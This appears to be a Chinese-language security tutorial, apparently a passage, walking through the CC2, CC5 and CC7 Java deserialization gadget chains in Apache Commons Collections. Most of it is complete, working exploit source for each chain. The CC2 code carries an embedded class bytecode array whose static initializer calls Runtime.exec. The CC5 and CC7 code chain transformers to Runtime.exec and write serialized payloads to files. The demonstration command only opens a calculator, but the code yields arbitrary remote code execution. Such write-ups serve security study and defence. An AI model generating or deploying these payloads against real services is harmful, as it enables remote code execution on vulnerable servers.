cc2
cc2和cc4呢其实区别也不是很大,最后的rce的方式也都是一样的。区别在哪呢,之前我们说过TemplatesImpl.newTransformer是可以直接进行rce的,cc2就是通过 InvokerTransformer直接去调用TemplatesImpl.newTransformer,不走InstantiateTransformer和TrAXFilter了:
简单写个exp:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CCtwo {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] testClassBytes =new byte[]{-54,-2,-70,-66,0,0,0,52,0,60,10,0,9,0,37,10,0,38,0,39,8,0,40,10,0,38,0,41,7,0,42,9,0,43,0,44,10,0,45,0,46,7,0,47,7,0,48,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,18,76,111,99,97,108,86,97,114,105,97,98,108,101,84,97,98,108,101,1,0,4,116,104,105,115,1,0,6,76,116,101,115,116,59,1,0,9,116,114,97,110,115,102,111,114,109,1,0,114,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,100,111,99,117,109,101,110,116,1,0,45,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,1,0,8,104,97,110,100,108,101,114,115,1,0,66,91,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,10,69,120,99,101,112,116,105,111,110,115,7,0,49,1,0,-90,40,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,68,79,77,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,41,86,1,0,8,105,116,101,114,97,116,111,114,1,0,53,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,100,116,109,47,68,84,77,65,120,105,115,73,116,101,114,97,116,111,114,59,1,0,7,104,97,110,100,108,101,114,1,0,65,76,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,109,108,47,105,110,116,101,114,110,97,108,47,115,101,114,105,97,108,105,122,101,114,47,83,101,114,105,97,108,105,122,97,116,105,111,110,72,97,110,100,108,101,114,59,1,0,8,60,99,108,105,110,105,116,62,1,0,1,101,1,0,21,76,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,59,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,42,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,9,116,101,115,116,46,106,97,118,97,12,0,10,0,11,7,0,50,12,0,51,0,52,1,0,40,111,112,101,110,32,47,83,121,115,116,101,109,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112,12,0,53,0,54,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,7,0,55,12,0,56,0,57,7,0,58,12,0,59,0,11,1,0,4,116,101,115,116,1,0,64,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,114,117,110,116,105,109,101,47,65,98,115,116,114,97,99,116,84,114,97,110,115,108,101,116,1,0,57,99,111,109,47,115,117,110,47,111,114,103,47,97,112,97,99,104,101,47,120,97,108,97,110,47,105,110,116,101,114,110,97,108,47,120,115,108,116,99,47,84,114,97,110,115,108,101,116,69,120,99,101,112,116,105,111,110,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,39,40,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,1,0,16,106,97,118,97,47,108,97,110,103,47,83,121,115,116,101,109,1,0,3,111,117,116,1,0,21,76,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,59,1,0,19,106,97,118,97,47,105,111,47,80,114,105,110,116,83,116,114,101,97,109,1,0,7,112,114,105,110,116,108,110,0,33,0,8,0,9,0,0,0,0,0,4,0,1,0,10,0,11,0,1,0,12,0,0,0,47,0,1,0,1,0,0,0,5,42,-73,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,7,0,14,0,0,0,12,0,1,0,0,0,5,0,15,0,16,0,0,0,1,0,17,0,18,0,2,0,12,0,0,0,63,0,0,0,3,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,21,0,14,0,0,0,32,0,3,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,21,0,22,0,2,0,23,0,0,0,4,0,1,0,24,0,1,0,17,0,25,0,2,0,12,0,0,0,73,0,0,0,4,0,0,0,1,-79,0,0,0,2,0,13,0,0,0,6,0,1,0,0,0,26,0,14,0,0,0,42,0,4,0,0,0,1,0,15,0,16,0,0,0,0,0,1,0,19,0,20,0,1,0,0,0,1,0,26,0,27,0,2,0,0,0,1,0,28,0,29,0,3,0,23,0,0,0,4,0,1,0,24,0,8,0,30,0,11,0,1,0,12,0,0,0,99,0,2,0,1,0,0,0,20,-72,0,2,18,3,-74,0,4,87,-89,0,10,75,-78,0,6,-74,0,7,-79,0,1,0,0,0,9,0,12,0,5,0,3,0,13,0,0,0,22,0,5,0,0,0,10,0,9,0,15,0,12,0,12,0,13,0,13,0,19,0,16,0,14,0,0,0,12,0,1,0,13,0,6,0,31,0,32,0,0,0,33,0,0,0,7,0,2,76,7,0,34,6,0,1,0,35,0,0,0,2,0,36};
byte[][] bytecodes = {testClassBytes};
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"wa1ki0g");
Field bytec = c.getDeclaredField("_bytecodes");
bytec.setAccessible(true);
bytec.set(templates,bytecodes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class cd = transformingComparator.getClass();
Field field = cd.getDeclaredField("transformer");
field.setAccessible(true);
field.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc2.bin"));
oos.writeObject(input);
}
}
是可以执行命令的:
cc5
CC5是对CC3.1版本的利用
这条链子和我们写过的cc1-2那条,极其相似。只是入口点不一样,cc1-2用的是AnnotationInvocationHandler.invoke调用的 LazyMap.get。cc5这里用的是TiedMapEntry.toString调用的 LazyMap.get。然后我们将TiedMapEntry类再传给BadAttributeValueExpException类的val属性即可。
只有这一点区别:
TiedMapEntry.toString:
BadAttributeValueExpException.readObject:
这里的val变量是私有变量,并且通过构造函数是传不进我们想要的,他这个构造函数是会先判断是不是为空,如果不是,那么会调用toString方法并返回结果:
对于这种问题我们直接反射修改就好了,最后exp:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class ccfive {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app "})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map a = new HashMap();
Map<Object,Object> lazyMap = LazyMap.decorate(a,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"wa1ki0g");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = badAttributeValueExpException.getClass();
Field field = c.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
oos.writeObject(input);
}
}
可以成功执行命令的:
cc7
先放一下调用栈:
这条链子和我们写过的cc1-2那条,也极其相似。同样也只是入口点不一样,cc1-2用的是AnnotationInvocationHandler.invoke调用的 LazyMap.get。cc7这里用的是AbstractMap.equals调用的LazyMap.get:
AbstractMap.equals,这里的m是可控的:
HashTable.reconstitutionPut 这里的key也是可控的:
HashTable.readObject中调用了reconstitutionPut:
其实到这里,我们的exp就可以写出来了,但是这里有几个问题要说一下。
1.我们在HashTable.readObject中是有条件判断的,就是说如果我们的HashTable没有一对键值,那么我们是走不到那个循环里的,就会导致我们调用不到reconstitutionPut
2.如果我们单单put了一次,就算进到了reconstitutionPut里面,也是进不到如下这个循环导致调用不到equals的,因为此时的tab[]是空的。所以我们起码要执行reconstitutionPut两次,才可以以进入到循环里面,也就是说我们要HashTable.put两次
3.此时,就算我们HashTable.put了两次以后,实际上也是调用不到equals的,这是因为对两组键的hash值进行了判断,要求相等。所以我们还要put进去的两组值的hash值一样:
但是在java中有这样的一个bug可以帮我们解决问题:
"yy".hashCode() == "zZ".hashCode()
都满足以后,下一步会开始调用LazyMap的equals方法,但是LazyMap中是没有equals方法的,但是它的父类AbstractMapDecorator有equals方法,所以就会去调用它的父类AbstractMapDecorator的equals方法:
此时我们传入一个HashMap,但是HashMap并没有equals方法,但是HashMap继承了AbstractMap,AbstractMap类中有一个equals方法,此时就会去调用AbstractMap.equals最终调用到get:
4.我们在put完以后,要lazyMap2.remove(“yy”),这是因为当调用完equals方法后,lazyMap2的key中就会增加一个yy键:
此时lazyMap1和lazyMap2中的元素个数不一样,那么在这里会直接返回false,所以我们要通过lazyMap2.remove(“yy”) 解决掉这个问题:
最终exp:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CCseven {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app "})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Transformer[] fakeTransformer = new Transformer[]{};
Transformer chainedTransformer1 = new ChainedTransformer(fakeTransformer);
Map lazyMap1 = LazyMap.decorate(hashMap1,chainedTransformer1);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2,chainedTransformer1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "wa1ki0g");
hashtable.put(lazyMap2, "wa1ki0g");
lazyMap2.remove("yy");
Class c =LazyMap.class;
Field field = c.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazyMap1,chainedTransformer);
field.set(lazyMap2,chainedTransformer);
serialize(hashtable);
}
public static void serialize(Object input) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc7.bin"));
oos.writeObject(input);
}
}